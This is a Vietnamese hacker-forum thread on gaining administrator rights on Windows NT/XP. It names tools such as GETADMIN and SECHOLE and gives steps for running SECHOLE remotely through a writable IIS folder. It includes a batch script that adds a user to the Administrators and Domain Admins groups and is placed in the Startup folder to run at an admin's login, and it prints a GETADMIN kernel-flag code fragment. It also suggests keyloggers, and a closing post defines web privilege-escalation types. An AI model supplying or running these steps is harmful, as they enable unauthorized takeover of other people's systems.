<![CDATA[Latest posts for the topic "[Thảo Luận] Gaining Access Leo Thang đặc quyền"]]> /hvaonline/posts/list/23.html JForum - http://www.jforum.net [Thảo Luận] Gaining Access Leo Thang đặc quyền Leo Thang Đặc Quyền

google wrote:
Việc hiển thị account thì search là ra cả, mình mở rộng thêm: đăng nhập với account không có đặc quyền admin làm cách nào để đánh lừa windows(sp2) account này có đặc quyền admin?  
Như vậy là bạn đã nói đến vấn đề đưa một user không có quyền admin thành user trong group Administrator đó là vấn đề : Gain Administrator “Leo thang đặc quền” hay còn gọi là “leo thang mức ưu tiên” Theo hiểu biết nông cạn của mình thì ngòai một số cách tự thân vận động thì cũng có một số Tools từng có thể làm được việc này ( ở đây mình chỉ điểm danh ra thôi còn giờ có dùng được nữa hay không thì ai mà biết) Thứ 1 phải nói đến đó là: GETADMIN GETADMIN do Konstantin Sobolev viết để bỗ sung một người dùng vào nhóm Adminstrators cục bộ . Nó thường dùng lỗi NT cấp thấp để ấn định một cờ toàn cục cho phép truy cập mọi tiến trình đang chạy, sau đó dùng một kỹ thuật tên " tiêm DLL " ( DLL injection ) để chèn một đoạn mã ác ý vào một tiến trình có quyền ưu tiên bỗ sung các người dùng vào nhóm Adminstrators ( tiến trình mà nó đánh cướp có tên là winlogon , chạy dưới tài khoản system ) Hạn chế của GetAdmin là chạy cục bộ trên hệ đích do đó nó hữu ích khi đánh lừa các nhóm Operator lập sẵn hoặc tài khoảng internet ngầm định ( theo quan điểm bạn tấn công từ xa ) Còn nếu bạn có quyền đăng nhập như một account cục bộ thì chạy vô tư với cú pháp như sau Getadmin User_name với User_name là tên người dùng bổ sung vào nhóm Administrator. Nhưng theo mình biết thì Microsoft đã fix lỗi này từ lâu nên có thể bạn sẽ cần phải chạy crash4 trước khi chạy getadmin nó có tác dụng loại bỏ fix này ( có thể giờ cũng đã fix nôt ) Thứ 2 phải nói đến là SECHOLE Cái này khá giống Getadmin nó có tác dụng bổ sung người dùng vào nhóm Domain Admin .Tuy nhiên nó làm việc với cơ chế khác hoàn toàn với getadmin . Được công bố bởi Prasad Dabak , Sandeep Phadke và Milind Borate , sechole sửa đổi các chỉ lệnh trong bộ nhớ của lệnh gọi Open Process API để có thể tấn công thành công một tiến trình có ưu tiên , bất chấp nó có quyền làm thế hay không . Sau khi tiến công được một tiến trình ưu tiên , nó tác động tương tự như getadmin , có nghĩa là chạy mã trong tiến trình đó để bỗ sung người dùng hiện tại vào nhóm Administrators cụ thể . Giống như getadmin , sechole cũng phải chạy cục bộ trên hệ đích . Tuy nhiên ,nếu hệ đích đang chạy Internet Information Server ( IIS ) của Microsoft và thỏa một số điều kiện nhất định , sechole có thể khởi phát ở một ví trí ở xa , bỗ sung tài khoản người dùng Internet , IUSR_machine_name , vào nhóm Administrators , hoặc Domain Admins . SECHOLE cũng phải chạy cục bộ trên hệ đích. (nếu ta có tài khoản là user thì cứ đăng nhập và chạy sechole như bình thường sau đó đăng xuất ( or reboot) thì khi đăng nhập lại sẽ thấy được nâng quyền trong nhóm admin. Để thi hành SECHOLE từ xa thì làm như sau 1 Điều kiện để tấn công là phải có quyền truy nhập một thư mục IIS có thể ghi và thi hành. 2 sau đó tải các tập tin của SECHOLE và các DLL library , cmd.exe và trình netuser đế sửa đổi người dùng 3 Sau khi tải lên mã SECHOLE phải được khởi phát .Kế tiếp là bổ sung tài khoản IUSR _machine_name vào nhóm Adminstrators 4 Ta có thể tạo ra một người dùng mới trên hệ đích bằng tiện ích ntuser ( cái này các bạn tự tìm hiểu) Thứ 3 được nhắc đến dùng BATCH HACKING 1 Mở một trình editor bất kỳ : và paste đoạn code sau: echo off Net user %user% pass /active /domain /add Net local group Administrators %user% /add Net group "Domain Admins" %user% /add /domain Net group "Guests" %user% /delete /domain Với các thông số phải phù hợp với máy đích .để hiểu rõ chúng các bạn phải tìm hiểu lệnh Net user và Net . VÍ DỤ : NET USER USER_NAME PASS_WORD /ADD (Tạo ra một tài khoản có tên là USER_NAME và Password = PASS_WORD với quyền hạn là limit account. NET LOCALGROUP ADMINISTRATORS USER_NAME /ADD ( nâng quyền hạn của Account có tên là USER_NAME vào trong nhóm Adminstrators. 2 Save lại với một cái tên nào đó ví dụ là : admin.bat 3 sau đó copy file admin.bat đó vào ( Thư mục Start up) C:\Documents and Settings\All Users\Start Menu\Programs\Startup Khi mà administrator login thì file admin.bat sẽ được thực thi và ta nghiễm nhiên tạo một account mới và có quyền hạn administrator. Thứ 4 dùng Key logger ( tất nhiên là ghi nhận được pass của tên nào thuộc Administrator Group là xong rồi ta đăng nhập vào và nâng quyền account của mình nên ) Thứ 5 dùng Hiren boot disk hoặc bất cứ chương trình có khả năng có thể set lại password của Administrator ( trong trường hợp nhiều người bị quên ) Thứ 6 SNIFFING Thứ 7 SOCIAL ENGINEERING 2 phần cuối để các bạn tự tìm hiểu. Tham khảo và thử nghiệm từ một số tài liệu về vấn đề Gaining Access ]]>
/hvaonline/posts/list/10718.html#61775 /hvaonline/posts/list/10718.html#61775 GMT
[Thảo Luận] Gaining Access Leo Thang đặc quyền /hvaonline/posts/list/10718.html#61889 /hvaonline/posts/list/10718.html#61889 GMT [Thảo Luận] Gaining Access Leo Thang đặc quyền

google wrote:
hì... mấy cái tool bồ đưa ra không biết có hack được không, mình chưa thử dùng và cũng không có ý định dùng làm gì tốn thời gian dù được hay không được, cái quan trọng là nguyên lý để viết các tool ấy, mình nghĩ đây là vấn đề rất khó  
Tất nhiên là nguyên lý rất khó cũng như để viết được chúng cũng rất khó rồi .Mặc dù mình có đoạn code này của GETADMIN chỉ có vài chục dòng thôi .Đưa ra để anh em tham khảo Nguyên lý như sau: Đầu tiên :ChangeNtGlobalFlag(GetNtGlobalFlagPtr()); sau đó ta có thể mở được bất kỳ process nào do hàm trên đã thay đổi bit flag. Sau đó chương trình sẽ tiêm DLL vào Winlogon process.Winlogon sẽ được chạy với SYSTEM account vì vậy có thểadd / remove Administrators group Code:
Function ChangeNtGlobalFlag:



BOOL ChangeNtGlobalFlag (DWORD NtGlobalFlag) { DWORD callnumber = 0x3; //NtAddAtom DWORD stack [32]; int i; DWORD handle=0; CHAR string[255];


If (! pNtGlobalFlag) return 0;


Stack [0] = (DWORD) string; Stack [1] = (DWORD)&handle; //pNtGlobalFlag;


For (i=0;i ‹ 0x100;i++) { sprintf(string,"NT now cracking... pass %d", i);


If (handle & 0xf00){ Stack [1] = (DWORD) pNtGlobalFlag+1; }


__Asm { mov eax, callnumber; mov edx, stack; lea edx,dword ptr [stack]; int 0x2e; }


if( stack[1] == pNtGlobalFlag+1) break; }


Return TRUE; }
Nhưng thực sự bây giờ mình nghĩ Getadmin chẳng còn dùng được nữa đâu do Microsoft đã fix hết rồi .Đưa ra ở đây chỉ với mục đích thảo luận mà thôi. Tiện đây mình xin đưa ra thêm một chút về vấn đề Access Trong windows NT /XP mọi file và thư mục đều có ACL (Access Control List) .Mỗi user and group có SID (Security Identifier), Và khi user cố gắng đọc hoặc ghi những file này thì sẽ được chek ACL Đây là bảng flags điều khiển ACL cho file và thư mục Code:
FLAG                           DESCRIPTION
------                        -------------
N                              No access
R                              Read
W                             Write
X                              Execute
D                              Delete
P                              Change permission
O                              Ownership
An                             All
RX                             Directory File/Scan
WX                            Directory
Vấn đề ở đây là gì nếu ta làm cách nào đó thay đổi được SID của ta thì sẽ dẫn tới ACL cũng sẽ bị thay đổi và có thể sẽ đọc hay ghi ,copy nhưng file không được cho phép trước kia. ( SAM chẳng hạn :mrgreen: :mrgreen: :mrgreen: :mrgreen: :mrgreen: :mrgreen: ) Nếu không thể tự viết cho mình công cụ ( hiện tại thì mình cũng chưa thể làm được việc này ) thì có thể tìm các công cụ để "unset my flag". trên đầy chỉ dừng lại mang tính lý thuyết để đi sâu vào từng thứ một mỗi người trong chúng ta nếu chưa thử làm bao giờ sẽ phải tìm hiểu dài dài . :mrgreen: :mrgreen: :mrgreen: :mrgreen: ]]>
/hvaonline/posts/list/10718.html#61922 /hvaonline/posts/list/10718.html#61922 GMT
Re: [Thảo Luận] Gaining Access Leo Thang đặc quyền Leo thang đặc quyền theo chiều ngang(horizontal privilege escalation). Đây là hình thức 1 user truy cập thông tin trái phép của 1 user khác trong hệ thống web application. Chẳng hạn trong hệ thống tài khoản ngân hàng, 1 user chỉ được phép xem và giao dịch với tài khoản của chính user đó. Nhưng hệ thống web application lại tiềm ẩn lỗi và 1 user này có thể xem và giao dịch dưới vai trò là 1 user khác. Leo thang đặc quyền theo chiều dọc(vertical privilege escalation). Đó là hình thức hacker từ 1 user bình thường trong hệ thống bằng cách khai thác lỗi của web application, hacker nâng quyền tải khoản của mình lên thành tài khoản có quyền cao hơn như tài khoản quản trị hệ thống. Từ đó nắm được quyền quản trị hệ thống. Xâm nhập tập tin trái phép(arbitrary file access). Đó là hình thức hacker xâm nhập các file không thuộc hệ thống web aplication nhờ vào lỗi của chính hệ thống web application. Chẳng hạn như truy cập các file trái phép của hệ điều hành như boot.ini hoặc /etc/passwd   ]]> /hvaonline/posts/list/10718.html#180530 /hvaonline/posts/list/10718.html#180530 GMT